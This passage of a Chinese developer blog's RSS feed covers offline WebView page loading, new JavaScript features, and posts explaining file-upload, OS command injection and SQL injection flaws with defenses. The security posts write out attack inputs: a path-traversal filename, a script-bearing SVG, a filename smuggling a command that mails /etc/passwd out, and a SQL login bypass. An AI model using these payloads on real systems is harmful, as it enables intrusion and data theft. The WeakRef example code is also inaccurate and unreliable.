首次进入以及线上代码有更新之后还是需要下载前端资源 服务端页面的 ttfb 相应还有优化的空间 客户端 WebView 打开的速度和性能还有优化的空间 从上面两个优化点我们可以看到所有的优化还是网络的优化，主要还是在移动端网络对性能的影响是远远大于其他方面的。那么是否有什么方案能够让我们免去这些网络请求呢，最终我们给的答案就是详情页本地化。通过本地化方案，我们将平均 820ms 的首屏渲染时间优化到了 260ms，整整提高了三倍多！
详情页本地化就是客户端不走网络请求打开新闻的方案，解决上文中列举的所有网络请求相关的优化点。它除了能为我们带来首屏性能的进一步提升之外，由于它不走网络请求的特性，也为我们解决了复杂网络环境下页面劫持导致的详情页白页打不开的问题。同时还为我们带来了无网络环境下的离线阅读新闻的能力。
本地化实现 由于我们的这面是纯 JS 渲染的，所以我们一个最终的详情页主要是由新闻数据和静态页面两者构成的。 鉴于对服务端的依赖非常的少，和大部分的 SPA 页面一样，本质上只要在客户端将我们的前端页面提前下载下来就能正常打开了。
详情页 = 静态页面 + 新闻数据 数据预下发 而如何在用户还没有打开新闻之前客户端就能把我们的页面资源下载下来呢？这里就不得不提一下我们的场景，因为在我们的信息流场景中，用户永远是通过流点击进入到详情页中。而在客户端的流中是需要加载服务端数据的，所以在这个时候其实我们就可以告知客户端让其提前下载好模板。当然大家不要忘记，除了页面之外我们还要有新闻数据，为了实现纯离线化同时也避免新闻数据接口的请求，在列表中还会将每条新闻的详细数据下发下去，保证必备要素的本地化。
如图所示，在列表请求的接口中，服务端会将需要缓存的静态页面地址以及每条新闻对应的新闻数据全部下发给客户端，客户端接收到请求之后会进行模板的下载。
客户端行为 需要的东西下发下去之后剩下的就是客户端进行渲染了。正常来说除了模板页面之外，服务端还需要下载其他相关的静态资源，然后启动一个 HTTP 服务将页面和资源文件进行关联，关联之后将数据注入到页面之后打开页面。但这对客户端的要求就非常多了，为了将客户端的工作量降低，我们将所有需要使用的静态资源通过编译内联到 HTML 文件内，客户端通过字符串拼接的形式将数据注入到页面的全局变量中。
如图所示所有静态资源都被标记了 inline 属性，我们的编译工具在读取到这个属性后会将当前资源给内联到 HTML 中。同时大家注意到该模板不是以 &amp;lt;html&amp;gt; 开头的，而是有一些截断。这是为了给客户端提供注入数据空间，客户端通过模板字符串拼接的形式将新闻数据注入到全局变量中最终完成整个新闻页面的获取。前端代码中则直接使用 __INJECT_DATA_FROM_CLIENT_DONT_MODIFY__ 全局变量获取注入的数据。
页面的更新 上面就是一套完整的本地化下发并打开的流程了，总的来讲就分为四步：
前端将页面处理成真·单页应用 服务端在列表时将数据和本地化模板下载地址通过接口下发给客户端 客户端获取到模板下载地址后进行下载 当用户打开新闻的时候客户端将数据和模板进行拼接打开即可 但是只要有资源的分发就会涉及到资源的同步更新问题，我们的本地化模板也是一样。在我们的线上更新的时候如何让客户端知晓并触发更新行为，也是我们需要去考虑的问题。实际上大家在前两张截图中可以看到，为了解决这个问题，我们是在服务端下发的接口中还增加了一个 version 字段，用来标记当前 HTML 的版本。而当前端进行代码发布的时候，我们的发布系统会有一个类似 npm 的 postpublish 的钩子，利用这个钩子我们告诉服务端发布成功更新版本号。最后，当客户端接收到新的版本号的时候则会重新下载新的模板，完成一次本地模板的更新。
跨域问题 在前端页面中，Cookie 和 LocalStorage 等大量的特性是和域名相关的，而不巧的是我们的页面中都有使用，所以跨域也是我们需要考虑到的问题。我们知道，本质上此种方案下客户端相当于使用 WebView 打开了一个本地页面，而在 Android 系统中 WebView 打开本地页面的话有三种方法：
loadUrl：本质上使用 file:///temp.html 的形式打开一个本地文件 URL loadData：和 loadUrl 类型，好的地方在于不需要写成文件，可以直接加载页面字符串，不过此时加载完之后页面的 URL 是 about:blank loadDataWithBaseURL：和 loadData 类似，好的地方在于提供了参数能够设置当前 URL 地址 从描述中可以看到，很明显最后一种 loadDataWithBaseURL 才是我们需要的。客户端通过这个方法加载，设置当前页面的 URL 为真实线上 URL，对于前端来说基本上就和线上环境无异了，本地化和线上 Cookie 和 LocalStorage 的共享都没有问题。不过这里需要注意，第一个参数 baseUrl 仅能管住当前页面，如果页面做了 history.pushState() 等前进后退操作的话当前页面地址又会变成 about:blank，此时需要再设置最后一个参数 historyUrl 才行。
后记 本文给大家讲述了实现本地化离线阅读的方案。除了以上列举的问题，我们还碰到了一些细微的问题。例如我们发现在网络不好的情况下客户端可能会下载模板失败缓存了不完整的代码，所以我们增加了模板的 md5 值一并下发给客户端用来校验模板是否下载完全。又如上文说了模板的更新，实际上内容也会有更新，特别是一些新闻的实时性会有比较高的要求，为了解决这个问题，我们会在页面打开后再次去检查一下文章的状态，如果发生变量会切换至线上版本用来规避这个问题。除了这些之外我们还做了完备的云控后退方案，能在方案出问题的时候完美回退到普通版本。
其实大家可以看到，本地化只是我们在特定场景下决绝性能问题的一种特定思路。它并不是使用于所有的场景，所以我在文章开头也特别强调了一下我们的应用场景方便大家去理解。但是我们只要理解这种方案的精髓，我相信在其它的一些特定场合总能发挥它的威力。</description></item><item><title>Web 安全漏洞之文件上传</title><link>https://imnerd.org/web-security-vulnerability-file-upload.html</link><pubDate>2019-11-29</pubDate><guid>https://imnerd.org/web-security-vulnerability-file-upload.html</guid><description>文件上传漏洞及危害 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器上，当开发者没有对该文件进行合理的校验及处理的时候，很有可能让程序执行这个上传文件导致安全漏洞。大部分网站都会有文件上传的功能，例如头像、图片、视频等，这块的逻辑如果处理不当，很容易触发服务器漏洞。这种漏洞在以文件名为 URL 特征的程序中比较多见。嗯，是的说的就是世界上最好的语言 PHP。例如用户上传了一个 PHP 文件，拿到对应文件的地址之后就可以执行它了，其中的危害自然不言而喻。那在 Node.js 中就没有文件上传漏洞了么？答案肯定是否的。除了可执行文件外，还有以下几个潜在的问题。
文件名 用户上传的文件里有两个东西经常会被程序使用，一个是文件本身，还有一个就是文件名了。如果文件名被用来读取或者存储内容，那么你就要小心了。攻击者很有可能会构造一个类似 ../../../attack.jpg 的文件名，如果程序没有注意直接使用的话很有可能就把服务器的关键文件覆盖导致程序崩溃，甚至更有可能直接将 /etc/passwd 覆盖写上攻击者指定的密码从而攻破服务器。
有些同学可能会说了，/ 等字符是文件名非法字符，用户是定义不了这种名字的。你说的没错，但是我们要知道我们并不是直接和用户的文件进行交互的，而是通过 HTTP 请求拿到用户的文件。在 HTTP 表单上传请求中，文件名是作为字符串存储的。只要是合法的 HTTP 请求格式，攻击者可以构造请求中的任何内容用于提交给服务器。
POST /upload HTTP/1.1 Host: test.com Connection: keep-alive Content-Length: 4237161 Accept: */* Origin: http://test.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9pQqgBGwpDfftP8l Referer: http://test.com Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,zh-TW;q=0.7,da;q=0.6 ------WebKitFormBoundary9pQqgBGwpDfftP8l Content-Disposition: form-data; name=&amp;#34;file&amp;#34;; filename=&amp;#34;../../attack.jpg&amp;#34; Content-Type: image/jpeg ------WebKitFormBoundary9pQqgBGwpDfftP8l-- HTML 和 SVG 虽然说 Node.js 在文件上传服务端可执行程序的漏洞没有 PHP 那么高，但是除了服务端可执行之外我们还有客户端可执行问题，所以还是要做好防备。假设用户可以上传任意格式的文件，而如果攻击者上传了 HTML 文件后可以配合 CSRF 攻击进一步制造 XSS 攻击。
如果你是一个图片上传的接口，如果你仅限制 HTML 格式的话也存在问题，因为图片中有一种特别的存在是 SVG 格式。SVG 是一种矢量图形格式，它使用 XML 来描述图片，在其内部我们是可以插入 &amp;lt;html&amp;gt;, &amp;lt;style&amp;gt;, &amp;lt;script&amp;gt; 等 DOM 标签的。如果不对 SVG 中的文件内容进行过滤的话，也会发生意想不到的效果。
&amp;lt;svg viewBox=&amp;#34;0 0 100 100&amp;#34; version=&amp;#34;1.1&amp;#34; xmlns=&amp;#34;http://www.w3.org/2000/svg&amp;#34; xmlns:xlink=&amp;#34;http://www.w3.org/1999/xlink&amp;#34;&amp;gt; &amp;lt;script&amp;gt;alert(111)&amp;lt;/script&amp;gt; &amp;lt;rect x=&amp;#34;25&amp;#34; y=&amp;#34;25&amp;#34; width=&amp;#34;50&amp;#34; height=&amp;#34;50&amp;#34; /&amp;gt; &amp;lt;/svg&amp;gt; 软链 我们知道在操作系统中软链本质上也是一种文件，只是这个文件中不包含实际的内容，它包含另外一个文件的路径名。可以是任意文件或目录，可以链接不同文件系统的文件。如果攻击者上传了一个软链文件，软链描述对应的是 /etc/passwd 的话，攻击者利用程序可以直接读取到服务器的关键文件内容，导致服务器被攻陷。
服务器磁盘 除了文件本身的问题之外，还有一种情况我们需要考虑到的是文件上传之后的处理。如果我们将用户上传的文件存储到了本地，而没有限制用户的上传频率的话，就很有可能被攻击者利用。攻击者会频繁的上传文件导致服务器磁盘占用 100%，撑爆服务器之后没办法处理程序的其它任务进而导致服务器宕机。
防御方法 针对以上几个可能出现的漏洞场景，我们需要做到以下几点：
对用户传入的文件名在使用的时候尽量进行白名单过滤，可以的话尽量不要使用用户传入文件名，杜绝从文件名上导致的安全漏洞。 对文件内容本身做好格式验证，黑名单或者白名单的方式都可以，不过白名单的方式安全性会更高一点。文件格式不能简单的判断文件后缀或者是表单上传时带有的 Content-Type 字段，因为这两个是用户上传内容，都是可被构造的。最好是通过文件头的魔术数字来读取，配合白名单列表就能避免这方面的问题。比较著名的使用魔术数字来判断文件类型的模块是 https://github.com/sindresorhus/file-type，推荐直接使用。 如果允许用户上传 .svg 格式图片的话，需要针对 SVG 内容进行 HTML 解析，过滤掉 &amp;lt;script&amp;gt;, &amp;lt;foreignObject&amp;gt; 等相关标签。当然，使用白名单的话是最好不过的了。这里提供一个比较全的 SVG 合法标签白名单列表。 需要额外提醒的是，如果用户上传的压缩包，程序有解压的行为，那么不仅要按照上述规则校验压缩包本身，还需要按照相同的逻辑校验解压之后的所有内容。同时针对服务器磁盘被撑爆的情况，推荐限制用户的上传频率降低风险，同时增加磁盘监控告警实时关注线上服务器的状态。如果存储到本地不是必须的话也可以使用外部存储服务来降低服务器这块的风险。</description></item><item><title>What's New in JavaScript</title><link>https://imnerd.org/what-s-new-in-javascript.html</link><pubDate>2019-10-11</pubDate><guid>https://imnerd.org/what-s-new-in-javascript.html</guid><description>前几天 Google IO 上 V8 团队为我们分享了《What&amp;rsquo;s New in JavaScript》主题，分享的语速很慢推荐大家可以都去听听就当锻炼下听力了。看完之后我整理了一个文字版帮助大家快速了解分享内容，嘉宾主要是分享了以下几点：
JS 解析快了 2 倍 async 执行快了 11 倍 平均减少了 20% 的内存使用 class fileds 可以直接在 class 中初始化变量不用写在 constructor 里 私有变量前缀 string.matchAll 用来做正则多次匹配 numeric seperator 允许我们在写数字的时候使用 _ 作为分隔符提高可读性 bigint 新的大数字类型支持 Intl.NumberFormat 本地化格式化数字显示 Array.prototype.flat(), Array.prototype.flatMap() 多层数组打平方法 Object.entries() 和 Object.fromEntries() 快速对对象进行数组操作 globalThis 无环境依赖的全局 this 支持 Array.prototype.sort() 的排序结果稳定输出 Intl.RelativeTimeFormat(), Intl.DateTimeFormat() 本地化显示时间 Intl.ListFormat() 本地化显示多个名词列表 Intl.locale() 提供某一本地化语言的各种常量查询 顶级 await 无需写 async 的支持 Promise.allSettled() 和 Promise.any() 的增加丰富 Promise 场景 WeakRef 类型用来做部分变量弱引用减少内存泄露 Async 执行比之前快了11倍 开场就用 11x faster 数字把大家惊到了，也有很多同学好奇到底是怎么做到的。其实这个优化并不是最近做的，去年11月的时候 V8 团队就发了一篇文章 《Faster async functions and promises》，这里面就非常详尽的讲述了如何让 async/await 优化到这个速度的，其主要归功于以下三点：
TurboFan：新的 JS 编译器 Orinoco：新的 GC 引擎 Node.js 8 上的一个 await bug 2008年 Chrome 出世，10年 Chrome 引入了 Crankshaft 编译器，多年后的今天这员老将已经无法满足现有的优化需求，毕竟当时的作者也未曾料想到前端的世界会发展的这么快。关于为何使用 TurboFan 替换掉 Crankshaft，大家可以看看《Launching Ignition and TurboFan》，原文中是这么说的：
Crankshaft 仅支持优化 JavaScript 的一部分特性。它并没有通过结构化的异常处理来设计代码，即代码块并没有通过try、catch、finally等关键字划分。另外由于为每一个新的特性Cranksshaft都将要做九套不同的框架代码适应不同的平台，因此在适配新的Javascript语言特性也很困难。还有Crankshaft框架代码的设计也限制优化机器码的扩展。尽管V8引擎团队为每一套芯片架构维护超过一万行代码，Crankshaft也不过为Javascript挤出一点点性能。
via：《Javascript是如何工作的：V8引擎的内核Ignition和TurboFan》
而 TurboFan 则提供了更好的架构，能够在不修改架构的情况下添加新的优化特性，这为面向未来优化 JavaScript 语言特性提供了很好的架构支持，能让团队花费更少的时间在做处理不同平台的特性和编码上。从原文的数据对比中就可以看到，仅仅是换了个编译器优化就在 8 倍左右了…… 给 V8 的大佬们跪下了。
而 Orinoco 新的 GC 引擎则是使用单独线程异步去处理，让其不影响 JS 主线程的执行。至于最后说的 async/await 的 BUG 则是让 V8 团队引发思考，将 async/await 原本基于 3 个 Promise 的实现减少成 2 个，最终减少成 1 个！最后达到了写 async/await 比直接写 Promise 还要快的结果。
我们知道 await 后面跟的是 Promise 对象，但是即使不是 Promise JS 也会帮我们将其包装成 Promise。而在 V8 引擎中，为了实现这个包装，至少需要一个 Promise，两个微任务过程。这个在本身已经是 Promise 的情况下就有点亏大发了。而为了实现 async/await 在 await 结束之后要重新原函数的上下文并提供 await 之后的结果，规范定义此时还需要一个 Promise，这个在 V8 团队看来是没有必要的，所以他们建议规范去除这个特性。
最后的最后，官方还建议我们：多使用 async/await 而不是手写 Promise 代码，多使用 JavaScript 引擎提供的 Promise 而不是自己去实现。
Numeric Seperator 随着 Babel 的出现，JS 的语法糖简直不要太多，Numeric Seperator 算是一个。简单的说来它为我们手写数字的时候提供给了分隔符的支持，让我们在写大数字的时候具有可读性。
其实是个很简单的语法糖，为什么我会单独列出来说呢，主要是因为它正好解决了我之前一个实现的痛点。我有一个需求是一堆文章数据，我要按照产品给的规则去插入广告。如图非红框是文章，红框处是广告。由于插入规则会根据产品的需（心）求（情）频繁变化，所以我们最开始使用了两个变量进行标记：
const news = [1, 3, 5, 6, 7, 9, 10, 11]; const ads = [2, 4, 8, 12]; 当位置发生变化的时候我们就需要同时对两个变量进行修改，这样导致了维护上的成本。所以我想了一个办法，广告的位置标记为 1，文章的位置标记为 0，使用纯二进制的形式来表示个记录，这样子就变成了：
+---+---+---+ | 0 | 1 | 0 | +---+---+---+ | 1 | 0 | 0 | +---+---+---+ | 0 | 1 | 0 | +---+---+---+ | 0 | 0 | 1 | +---+---+---+ 1 011 010 100 010 001 // 首位为常量 1 // 2-4 位记录一行多少条 // 后续按照新闻和广告的位置进行记录 最后我们使用一个变量 0b1011010100010001 就完成了两种信息的记录。这样做将很多数据集成在了一起解决了我们之前的问题，但是它带来了新的问题，大家也可以看到注释中按照空格劈开的话大家看的还比较明白，但是在段头将空格去除之后在阅读程度上就造成了非常大的困难了。而数字分隔符这个语法糖正好就能解决这个问题，0b1_011_010_100_010_001 这样阅读起来就好很多了。
Promise 虽然在大部分的场景 async/await 都可以了，但是不好意思 Promise 有些场景还是不可替代的。Promsie.all() 和 Promise.race() 就是这种特别的存在。而 Promise.allSettled() 和 Promise.any() 则是新增加的方法， 相较于它们的前辈，这俩拥有忽略错误达到目的的特性。
我们之前有一个需求，是需要将文件安全的存储在一个存储服务中，为了灾备我们其实有两个 S3，一个 HBase 还有本地存储。所以每次都需要诸如以下的逻辑：
for(const service of services) { const result = await service.upload(file); if(result) break; } 但其实我并不关心错误，我的目的是只要保证有一个服务最终能执行成功即可，所以 Promise.any() 其实就可以解决这个问题。
await Promise.any( services.map(service =&amp;gt; service.upload(file)) ); Promise.allsettled() 和 Promise.any() 的引入丰富了 Promise 更多的可能性。说不定以后还会增加更多的特性，例如 Promise.try(), Promise.some(), Promise.reduce() &amp;hellip;
WeakRef WeakRef 这个新类型我最开始是不太理解的，毕竟我总感觉 Chrome 已经长大了，肯定会自己处理垃圾了。然而事情并没有我想的那么简单，我们知道 JS 的垃圾回收主要有“标记清除”和“引用计数”两种方法。引用计数是只要变量多一次引用则计数加 1，少一次引用则计数减 1，当引用为 0 时则表示你已经没有利用价值了，去垃圾站吧！
在 WeakRef 之前其实已经有两个类似的类型存在了，那就是 WeakMap 和 WeakSet。以 WeakMap 为例，它规定了它的 Key 必须是对象，而且它的对象都是弱引用的。举个例子：
//map.js function usageSize() { const used = process.memoryUsage().heapUsed; return Math.round(used / 1024 / 1024 * 100) / 100 + &amp;#39;M&amp;#39;; } global.gc(); console.log(usageSize()); // ≈ 3.23M let arr = new Array(5 * 1024 * 1024); const map = new Map(); map.set(arr, 1); global.gc(); console.log(usageSize()); // ≈ 43.22M arr = null; global.gc(); console.log(usageSize()); // ≈ 43.23M //weakmap.js function usageSize() { const used = process.memoryUsage().heapUsed; return Math.round(used / 1024 / 1024 * 100) / 100 + &amp;#39;M&amp;#39;; } global.gc(); console.log(usageSize()); // ≈ 3.23M let arr = new Array(5 * 1024 * 1024); const map = new WeakMap(); map.set(arr, 1); global.gc(); console.log(usageSize()); // ≈ 43.22M arr = null; global.gc(); console.log(usageSize()); // ≈ 3.23M 分别执行 node --expose-gc map.js 和 node --expose-gc weakmap.js 就可以发现区别了。在 arr 和 Map 中都保留了数组的强引用，所以在 Map 中简单的清除 arr 变量内存并没有得到释放，因为 Map 还存在引用计数。而在 WeakMap 中，它的键是弱引用，不计入引用计数中，所以当 arr 被清除之后，数组会因为引用计数为0而被回收掉。
正如分享中所说，WeakMap 和 WeakSet 足够好，但是它要求键必须是对象，在某些场景上不太试用。所以他们暴露了更方便的 WeakRef 类型。在 Python 中也存在 WeakRef 类型，干的事情比较类似。其实我们主要注意 WeakRef 的引用是不计引用计数的，就好理解了。例如 MDN 中所说的引用计数没办法清理的循环引用问题：
function f(){ var o = {}; var o2 = {}; o.a = o2; // o 引用 o2 o2.a = o; // o2 引用 o return &amp;#34;azerty&amp;#34;; } f(); 如果试用 WeakRef 来改写，由于 WeakRef 不计算引用计数，所以计数一直为 0，在下一次回收中就会被正常回收了。
function f() { var o = new WeakRef({}); var o2 = o; o.a = o2; return &amp;#34;azerty&amp;#34;; } f(); 在之前的一个多进程需求中，我们需要将子进程中的数据发送到主进程中，我们使用的方式是这样写的：
const metric = &amp;#39;event&amp;#39;; global.DATA[metric] = {}; process.on(metric, () =&amp;gt; { const data = global.DATA[metric]; delete global.DATA[metric]; return data; }); 代码就看着比较怪，由于 global.DATA[metric] 作为强引用，如果直接在事件中 return global.DATA[metric] 的话，由于存在引用计数，那么这个全局变量是一直占用内存的。此时如果使用 WeakRef 改写一下就可以减少 delete 的逻辑了。
const metric = &amp;#39;event&amp;#39;; global.DATA[metric] = new WeakRef({}); process.on(metric, () =&amp;gt; { const ref = global.DATA[metric]; if(ref !== undefined) { return ref.deref(); } return ref; }); 后记 除了我上面讲的几个特性之外，还有很多其他的特性也非常一颗赛艇。例如 String.matchAll() 让我们做多次匹配的时候再也不用写 while 了！Intl 本地化类的支持，让我们可以早日抛弃 moment.js，特别是 RelativeTimeFormat 类真是解放了我们的生产力，不过目前接口的配置似乎比较定制化，不知道后续的细粒度需求支持情况会如何。
参考资料：
《ES proposal: numeric separators》
《内存管理》
《ES6 系列之 WeakMap》</description></item><item><title>Web 安全漏洞之 OS 命令注入</title><link>https://imnerd.org/web-security-vulnerability-os-command-injection.html</link><pubDate>2018-09-29</pubDate><guid>https://imnerd.org/web-security-vulnerability-os-command-injection.html</guid><description>什么是 OS 命令注入 上周我们分享了一篇 《Web 安全漏洞之 SQL 注入》，其原理简单来说就是因为 SQL 是一种结构化字符串语言，攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句。而今天要讲的 OS 命令注入其实原理和 SQL 注入是类似的，只是场景不一样而已。OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景，当攻击者不合理使用，且开发者对用户参数未考虑安全因素的话，就会执行恶意的命令调用，被攻击者利用。
在 Node.js 中可以使用 exec() 执行命令。以基于 ThinkJS 开发的博客系统 Firekylin 为例，其中有一个用户上传压缩包导入数据的功能，为了方便直接使用了 tar 命令去解压文件，大致代码如下：
const { exec } = require(&amp;#39;child_process&amp;#39;); const extractPath = path.join(think.RUNTIME_PATH, &amp;#39;importMarkdownFileToFirekylin&amp;#39;); module.exports = class extends think.Controller { async upload() { const { path: filePath } = this.file(&amp;#39;import&amp;#39;); exec(`rm -rf ${extractPath}; mkdir ${extractPath}; cd ${PATH}; tar zvxf &amp;#34;${filePath}&amp;#34;`); } } 其中 filePath 是用户上传文件的包含文件名的临时上传路径。假设此时用户上传的文件名为 $(whoami).tar.gz，那么最后 exec() 就相当于执行了 tar zvxf &amp;quot;/xxx/runtime/$(whoami).tar.gz&amp;quot;。而 Bash 的话双引号中的 $() 包裹部分会被当做命令执行，最终达到了用户超乎程序设定直接执行 Shell 命令的可怕结果。类似的写法还有 `` 包裹。当然我这里写的是 whoami 命令显得效果还好，如果是 $(cat /etc/passwd | mail -s &amp;quot;host&amp;quot; i@imnerd.org).tar.gz 能直接获取到机器密码之类的就能体会出这个漏洞的可怕了吧。
为什么使用 exec 会出问题？
因为在child_process.exec引擎下，将调用执行&amp;quot;/bin/sh&amp;quot;。而不是目标程序。已发送的命令只是被传递给一个新的&amp;quot;/bin/ sh&amp;rsquo;进程来执行shell。 child_process.exec的名字有一定误导性 - 这是一个bash的解释器，而不是启动一个程序。这意味着，所有的shell字符可能会产生毁灭性的后果，如果直接执行用户输入的参数。 via: 《避免Node.js中的命令行注入安全漏洞》
OS 命令注入的危害 正如刚才所说，由于能获取直接执行系统命令的能力，所以 OS 命令注入漏洞的危害想必不需要我再强调一遍。总之就是基本上能“为所欲为”吧。
防御方法 使用 execFile / spawn 在 Node.js 中除了 exec() 之外，还有 execFile() 和 spawn() 两个方法也可以用来执行系统命令。它们和 exec() 的区别是后者是直接将一个命令字符串传给 /bin/sh 执行，而前者是提供了一个数组作为参数容器，最后参数会被直接传到 C 的命令执行方法 execve() 中，不容易执行额外的参数。
当使用 spawn 或 execfile 时，我们的目标是只执行一个命令（参数）。这意味着用户不能运行注入的命令，因为/bin/ls并不知道如何处理反引号或管道操作或;。它的/bin/sh将要解释的是那些命令的参数。 via: 《避免Node.js中的命令行注入安全漏洞》
不过这个也不是完美之策，这个其实是利用了执行的命令只接受普通参数来做的过滤。但是某些命令，例如 /bin/find，它提供了 -exec 参数，后续的参数传入后会被其当成命令执行，这样又回到了最开始的状态了。
白名单校验 除了上面的方法之外，我们也可以选择对用户输入的参数进行过滤校验。例如在文章开头的上传文件的示例里，由于是用户上传的文件名，根据上下文我们可以对其限制仅允许纯英文的文件名其它的都过滤掉，这样也能避免被注入的目的。当然黑名单也不是不可以，只是需要考虑的情况比较多，像上文说的``，$()等等情况都需要考虑，再加上转义之类的操作防不胜防，相比之下还是白名单简单高效。
let { path: filePath } = this.file(&amp;#39;import&amp;#39;); filePath = filePath.replace(/[^a-zA-Z0-9.\/_-]/g, &amp;#39;&amp;#39;); 当然最好还是不要允许用户输入参数，只允许用户选择比较好。
后记 网络上关于 Node.js 的命令注入漏洞描述的文章比较少，大多都是 PHP 的。虽然大道理是相同的，不过在具体的防御处理上不同的语言稍微有点不一样，所以写下这篇文章分享给大家。当然除了做校验之外，使用非 root 权限用户执行程序限制其权限也能有一定的作用。另外可以定期的搜索下代码中使用 exec() 命令的地方，看看有没有问题。本来这时候应该给大家推荐一款静态分析工具来代替人肉扫描的，不过奈何 Node.js 这方面的静态分析工具不多。总之，日常开发中能不是用系统命令的尽量不是用，实在不得以要用的话也要做好校验，是用 spawn() 等相较安全的方法。
参考资料：
《【缺陷周话】第6期：命令注入》
《[Nodejs] Security: Command Injection》
《find (Unix)》</description></item><item><title>Web 安全漏洞之 SQL 注入</title><link>https://imnerd.org/@web-security-vulnerability-sql-injection.html</link><pubDate>2018-10-29</pubDate><guid>https://imnerd.org/@web-security-vulnerability-sql-injection.html</guid><description>什么是 SQL 注入 “有人的地方就有江湖，有数据库存在的地方就可能存在 SQL 注入漏洞。”
在所有漏洞类型中，SQL 注入可是说是危害最大最受大家关注的漏洞。简单说来，SQL 注入是通过在用户可控参数中注入SQL语法，破坏原有SQL结构，达到编写程序时意料之外结果的攻击行为。还是以 ThinkJS 为例，假设我们写了如下一个接口（实际情况肯定不会这么写的）：
// user.js module.exports = class extends think.Controller { async loginAction() { const { username, password } = this.post(); const user = await this.model().query( `SELECT * FROM user WHERE name = &amp;#34;${username}&amp;#34; AND password= &amp;#34;${password}&amp;#34;` ); if (think.isEmpty(user)) { return this.fail(); } return this.success(user); } } 当用户提交的 username 是 admin&amp;quot;; -- 的话，最终执行的 SQL 语句就会变成
SELECT * FROM user WHERE name = &amp;#34;admin&amp;#34;; --&amp;#34; AND password= &amp;#34;111&amp;#34; 最终攻击者就可以成功登录 admin 账号了，这就是最简单的 SQL 注入了。从上面这个简单示例中，我们发现漏洞成因可以归结为以下两个原因叠加造成的：
程序编写者在处理应用程序和数据库交互时，使用字符串拼接的方式构造SQL语句。 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。 SQL注入根据攻击者获取数据的方式分为回显注入、报错注入以及盲注。刚才演示的直接从返回结果中获取数据则为回显注入，当然也可以通过 MySQL 执行的报错结果中嗅探到数据库的结构和内容，这就是报错注入。盲注则是根据数据库执行的延时等操作来判断是否接近正确值，简单的说来有点像是拿着听诊器试探保险箱的密码的感觉。
不同的分类原则会有不同的分类，也有按照注入位置及方式不同进行分类分为POST注入、GET注入、cookie注入、盲注、延时注入、搜索注入、base64注入等。不过大家都支持分类形式不同，原理还是一致的，这里就不一一细说了。
SQL 注入的危害 如果网站存在 SQL 注入漏洞，相当于将数据库直接暴露在攻击者面前，可想而知危害会有多大了。攻击者利用 SQL 注入漏洞能实现以下攻击：
跳过账户权限验证达到越权 获取数据库关键信息从而进行脱库 在特别情况下还可以修改数据库内容或者插入内容到数据库，如果数据库权限分配存在问题，或者数据库本身存在缺陷，那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。 防御方法 数据校验 从文章开头可以看到，其实漏洞的主要原因还是没有对用户输入的数据进行过滤，所以对来自用户的数据（GET, POST, cookie 等）最好做到以下两种过滤校验：
检查输入的数据是否具有所期望的数据格式。这种在参数是数字的时候特别有效，如果攻击者选择在参数中插入内容的话则会被转换成 NaN 导致攻击失败。在 ThinkJS 中我们提供了强大的 Logic 功能可以方便的对数据进行格式校验。 使用数据库特定的敏感字符转义函数把用户提交上来的非数字数据进行转义。在 ThinkJS 中封装了 escapeString() 方法可以对敏感字符进行转义，其原理则和 PHP 的 mysql_escape_string() 方法是一致的。 检查输入数据格式在 ThinkJS 中还能防止另外一种非通用 SQL 安全问题。文章开头的示例代码我们在实际的应用中一般会这么写：
// user.js module.exports = class extends think.Controller { async loginAction() { const { username, password } = this.post(); const user = await this.model(&amp;#39;user&amp;#39;).where({ name: username, password }).find(); if (think.isEmpty(user)) { return this.fail(); } return this.success(user); } } 当我们构造如 name=admin&amp;amp;password[]=!%3D&amp;amp;password[]= 的请求参数时，最终执行的 Model 语句就会变成
this.model(&amp;#39;user&amp;#39;).where({name: &amp;#39;admin&amp;#39;, password: [&amp;#39;!=&amp;#39;, &amp;#39;&amp;#39;]}); 由于 HTTP 请求的自动合并数组的特性造成了我们的 SQL 语句并非是我们想要的效果。虽然说框架本身已经针对这种情况进行了处理，当用户输入参数被认为是 SQL 运算符时则会将关键字增加空格，从而将其变成普通字符串避免这个问题。不过这种方法会有 一定的损伤，毕竟当真的要传这几个运算符的情况的时候接收到的数据和请求的不一样还是有点懵逼的。所以最好还是在 Logic 层对数据进行完善的校验将问题前置比较好。
除了数据校验，也可以选择使用数据库的存储过程和预定义指针等特性来抽象数库访问，使用户不能直接访问数据表和视图。但这个办法又有别的影响。
via: SQL注入
权限限制 严格限制Web应用的数据库的操作权限，给此用户提供仅仅能够满足其工作的最低权限，从而最大限度的减少注入攻击对数据库的危害。**请记住永远不要使用超级用户或所有者帐号去连接数据库！**当数据库被攻击时将损伤限制在当前表的范围是比较明智的选择。通过权限限制可以防止攻击者获取数据库其它信息，甚至利用数据库执行 Shell 命令等操作。
日志处理 当数据库操作失败的时候，尽量不要将原始错误日志返回，比如类型错误、字段不匹配等，把代码里的 SQL 语句暴露出来，以防止攻击者利用这些错误信息进行 SQL 注入。除此之外，在允许的情况下，使用代码或数据库系统保存查询日志也是一个好办法。显然，日志并不能防止任何攻击，但定期审计数据库执行日志可以跟踪是否存在应用程序正常逻辑之外的 SQL 语句执行。日志本身没用，要查阅其中包含的信息才行。毕竟，更多的信息总比没有要好。
后记 综上所说之后，大家可能觉得 SQL 数据校验会比较麻烦，其实在 ThinkJS 中已经将关键字处理类的方法已经集成，使用程序提供的 ORM 方法进行 SQL 构造会比自己写 SQL 语句拼接来的更方便，同时也能提高项目代码复用，减少潜在的风险。如果对 ThinkJS 默认的 think-model 不喜欢的话，也可以使用其它第三方的 ORM 框架，例如 think-sequelize。
参考资料：
《SQL注入》
《SQL注入的原理与分类》
《避免SQL注入》
《Making a javascript string sql friendly》</description></item></channel></rss>